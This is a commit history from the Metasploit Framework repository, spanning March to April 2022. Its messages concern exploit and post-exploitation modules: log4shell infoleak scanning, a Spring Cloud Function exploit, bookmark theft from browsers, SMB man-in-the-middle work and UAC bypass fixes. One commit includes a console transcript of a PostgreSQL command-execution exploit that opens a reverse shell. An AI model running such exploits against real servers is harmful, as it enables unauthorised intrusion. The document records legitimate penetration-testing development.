Commit Graph

35981 Commits

Author SHA1 Message Date
RageLtMan 23fc179160 Scan for log4shell-provided infoleaks
The formatted string containing the JNDI URL can contain further
formatted strings within it sourcing data from the formatting Java
context. This is the mechanism by which this module already gathers
target information.

Expand this capability by permitting the user to supply their own
query string variables separated by '^' and comparing the output
to these inputs for extraction of relevant exposed values.

To help with targeting for the pending-in-PR exploit module, add OS
detection capabilities as well.
2022-04-05 16:38:26 -04:00
jerrelgordon d96c3df3e7 Ran rubocop and added notes 2022-04-05 16:09:37 -04:00
space-r7 1a48bccb42 Land #16403, improve Qemu / KVM detection 2022-04-05 14:58:16 -05:00
jerrelgordon d3e32eca5b Style fixes 2022-04-05 12:59:01 -04:00
space-r7 a43bfc9292 use safari version with specific cve 2022-04-05 10:31:51 -05:00
space-r7 4c8c32b3ff set file header to Contents dir, check safari vers 2022-04-05 10:16:59 -05:00
usiegl00 09ae52fecd Update smb_shadow and shadow_mitm_dispatcher
Remove duplicated print_status messages. Use respond_to? instead of
methods.include?. Simplify payload generation. Fix naming for the rst
capture thread.
2022-04-05 20:03:14 +09:00
Grant Willcox db4b22df5e Update the exploit code to output errors in a better format, and fix a potential issue when trying to delete folders recursively. Also update exploit module to try kill msiexec.exe if its still running to prevent it holding onto handles when it shouldn't be. 2022-04-04 17:58:52 -05:00
Grant Willcox bba40bcd21 Add in fixes from code review 2022-04-04 12:05:21 -05:00
Grant Willcox 7e5123cd24 Add initial code from Hajap Zairy Al-Sharif 2022-04-04 11:56:14 -05:00
Alexander Neumann 642bb12505 postgres_copy_from_program_cmd_exec: Quote table name
In about 16% of all cases the random value of "tablename" will be set to
a value starting with a number, which needs to be quoted before the
query is sent to the postgres server. Otherwise the query fails with the
message "Exploit failed". This is what happened to me, you can see an
example with a table name set manually here:

    msf6 > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
    [*] Using configured payload cmd/unix/reverse_perl
    msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set RHOSTS 192.168.2.2
    RHOSTS => 192.168.2.2
    msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set tablename 123test
    tablename => 123test
    [...]
    msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run

    [*] Started reverse TCP handler on 192.168.2.1:4444·
    [*] 192.168.2.2:5432 - 192.168.2.2:5432 - PostgreSQL [...]
    [*] 192.168.2.2:5432 - Exploiting...
    [!] 192.168.2.2:5432 - 192.168.2.2:5432 - Unable to execute query: DROP TABLE IF EXISTS 123test;
    [-] 192.168.2.2:5432 - Exploit Failed

This can be verified manually as follows, quoting the table name works:

    $ psql --user postgres -W -h 192.168.2.2 template1
    [...]
    template1=# DROP TABLE IF EXISTS 123test;
    ERROR:  syntax error at or near "123"
    LINE 1: DROP TABLE IF EXISTS 123test;
                                 ^
    template1=# DROP TABLE IF EXISTS "123test";
    NOTICE:  table "123test" does not exist, skipping
    DROP TABLE

With the patch, the script also works with table names which start with
numbers:

    msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run

    [*] Started reverse TCP handler on 192.168.2.1:4444
    [*] 192.168.2.2:5432 - 192.168.2.2:5432 - PostgreSQL [...]
    [*] 192.168.2.2:5432 - Exploiting...
    [+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test dropped successfully
    [+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test created successfully
    [+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test copied successfully(valid syntax/command)
    [+] 192.168.2.2:5432 - 192.168.2.2:5432 - 123test dropped successfully(Cleaned)
    [*] 192.168.2.2:5432 - Exploit Succeeded

    [*] Command shell session 1 opened (192.168.2.1:4444 -> 192.168.2.2:51734 ) at 2022-03-24 10:15:33 +0100
2022-04-04 10:32:01 +02:00
jerrelgordon 476ff36d8d Bug fixes
*fixed typo for "browser"
*modified to use read_file instead of file.open to read files
2022-04-03 11:52:20 -04:00
jerrelgordon 587096f15d Create get_bookmarks.rb
Metasploit Module that retrieves bookmarks from the following browsers: Google Chrome, Opera & Microsoft Edge.
2022-04-03 03:57:17 -04:00
RageLtMan 35bd113952 Improve Qemu/KVM detection for BOCHS HW
Does what it says:
```
[*] Checking if the target is a Virtual Machine ...
[+] This is a Qemu/KVM Virtual Machine
[*] Post module execution completed

```
2022-04-02 10:43:57 -04:00
usiegl00 7e010cbde2 Merge master and update smb_shadow + dispatcher
The smb_shadow module can confirm the server smb version supported with
the ConfirmServerDialect option. The shadow_mitm_dispatcher closes each
stream before opening a new one to prevent leaking file descriptors.
2022-04-02 10:39:02 +09:00
space-r7 e9e1e26def add support for CVE-2022-22616, update docs 2022-04-01 17:50:33 -05:00
space-r7 fc1809370d Land #16381, add chocolatey enumerator module 2022-04-01 11:16:28 -05:00
space-r7 79df6190e6 call chocopath once, return nil instead of false 2022-04-01 10:56:11 -05:00
RadioLogic eb54081a62 Made table regex properly only grab lines that are start lines 2022-04-01 11:31:23 -04:00
dwelch-r7 37117383f7 Updated cached sizes 2022-04-01 11:58:53 +01:00
dwelch-r7 2f76a650c1 Updated cached sizes 2022-04-01 11:33:30 +01:00
Grant Willcox 57473850c1 Fix up RuboCop errors as last change made it so that we had an unless elsif statement which isn't valid in Ruby 2022-03-31 12:52:16 -05:00
Grant Willcox 743138abed Add in initial fixes from review and remove extra BREAKAWAY_FROM_JOB code changes not directly related to this PR as we'll raise a separate PR for those 2022-03-31 12:13:29 -05:00
RadioLogic 6f933291be Made chocopath give false if all other alternatives dont work 2022-03-31 11:32:43 -04:00
RadioLogic c6c77b9c7e Merge branch 'enum_chocolatey_applications' of github.com:rad10/metasploit-framework into enum_chocolatey_applications 2022-03-31 11:27:06 -04:00
RadioLogic 2ed4a4a6e9 Used fail statements where exit should fail 2022-03-31 11:27:02 -04:00
RadioLogic 8177b101e5 Made chocopath correctly get choco based on where results 2022-03-31 11:26:39 -04:00
RadioLogic f9156acb49 Make chocolatey? act like correct bool function 2022-03-31 11:25:33 -04:00
RadioLogic 6c92509877 Apply suggestions from code review
Changed at symbol in author

Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-03-31 11:01:00 -04:00
RadioLogic d361ce961e Update modules/post/windows/gather/enum_chocolatey_applications.rb
Added spelling corrections to descriptions

Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-03-31 10:56:19 -04:00
Spencer McIntyre 211626e7ce Fix the check method, add docs 2022-03-31 09:01:08 -04:00
Spencer McIntyre 94cf23e4cf Finish the Spring Cloud Function exploit 2022-03-30 18:38:41 -04:00
space-r7 cc6eb75cd7 Land #16364, use dnsruby api for native_spoofer 2022-03-29 09:44:31 -05:00
Grant Willcox 51df37de87 Add in documentation and also update the module to handle NarratorQuickstart.exe which sometimes comes up and can lead to visual indicators 2022-03-28 17:53:53 -05:00
Grant Willcox bd3e0c1b53 Add in support for exploiting domain joined systems 2022-03-28 16:14:19 -05:00
RadioLogic ddf96d44e7 Added unique data to notes 2022-03-28 13:45:34 -04:00
RadioLogic dcec540c5d Cleaned with rubocop 2022-03-28 13:44:45 -04:00
RadioLogic 447a3d47ea Replaced loot with notes 2022-03-28 13:39:23 -04:00
RadioLogic ec3a5b9db6 Made module not executable 2022-03-28 13:23:28 -04:00
RadioLogic 6ef3cf7ed0 Added better separation between chocolatey 1.0 and newer chocolatey versions 2022-03-27 15:04:06 -04:00
RadioLogic 8607fd766f Added side effects back in since descriptions want them 2022-03-27 15:03:37 -04:00
RadioLogic 86266ad5bd Updated info values to allow info to work 2022-03-27 14:42:44 -04:00
RadioLogic d65a2fd687 Removed use of powershell since its unnecessary 2022-03-27 14:16:04 -04:00
RadioLogic 9cc6944c18 Added option to change chocolatey path location in case its not on path 2022-03-27 14:14:02 -04:00
RadioLogic 0489655c72 Added notes on stability 2022-03-26 13:32:11 -04:00
RadioLogic 2ae6d1f655 Renamed havechocolatey 2022-03-26 13:31:58 -04:00
RadioLogic 8248c1d0b8 Formatted document with rubocop 2022-03-26 13:26:22 -04:00
Grant Willcox b408197cb7 Another round of RuboCop 2022-03-25 17:37:05 -05:00
Grant Willcox 393765a2f0 Add in UAC checks to ensure PromptOnSecureDesktop is set appropriately before attempting to exploit. Also clean up some of the extra code to prevent unneeded cmd level commands from running 2022-03-25 17:26:48 -05:00
Grant Willcox 56e21ae3a2 Update check code to now use cmd_exe as other call was hanging forever, and also update the check code to use Meterpreter functions if available vs always running shell commands. 2022-03-25 15:25:48 -05:00